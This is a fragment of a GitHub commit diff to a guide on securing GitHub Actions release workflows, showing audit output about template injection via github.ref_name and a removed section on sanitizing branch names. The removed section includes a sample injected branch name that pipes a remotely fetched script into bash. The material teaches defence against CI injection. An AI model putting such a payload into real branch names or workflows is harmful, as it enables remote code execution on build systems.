You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
97 | - name: Upload artifact signatures to GitHub Release
174
-
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ this step
175
-
98 | env:
176
-
...
177
-
102 | # sigstore-produced signatures and certificates.
178
-
103 | / run: >-
179
-
104 | | gh release upload
180
-
105 | | '${{ github.ref_name }}' dist/**
181
-
106 | | --repo '${{ github.repository }}'
182
-
| |__________________________________________^ github.ref_name may expand into attacker-controllable code
183
-
|
184
-
= note: audit confidence → High
173
+
github.ref_name may expand into attacker-controllable code
185
174
```
186
175
187
176
## Other security measures you can consider
@@ -229,35 +218,6 @@ jobs:
229
218
echo "Running script for branch: $SAFE_BRANCH"
230
219
```
231
220
232
-
<div class="notice" markdown="1">
233
-
How cleaning the branch name works:
234
-
235
-
1. echo $GITHUB_REF: Outputs the branch name.
236
-
2. sed 's/[^a-zA-Z0-9_\-\/]//g': Removes any characters that are not letters, numbers, dashes, underscores, or slashes, ensuring the branch name is safe.
237
-
238
-
Try It:
239
-
240
-
Test how sanitization works by running this command in your shell:
241
-
the branch name: $({curl,-sSfL,raw.githubusercontent.com/test/test/123456d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/dummyfile.sh} | bash)
sanitized=$(echo "$input" | sed 's/[\$\{\}\|\(\)]//g')
250
-
251
-
# Output the sanitized string
252
-
echo "Original: $input"
253
-
echo "Sanitized: $sanitized"
254
-
```
255
-
256
-
This strips out any characters that can be used to call shell commands.
257
-
258
-
</div>
259
-
260
-
The good news here is that if you use a release-based workflow as discussed earlier, then you don't have to worry about branch names. And yes you can always make a release from a different branch!
0 commit comments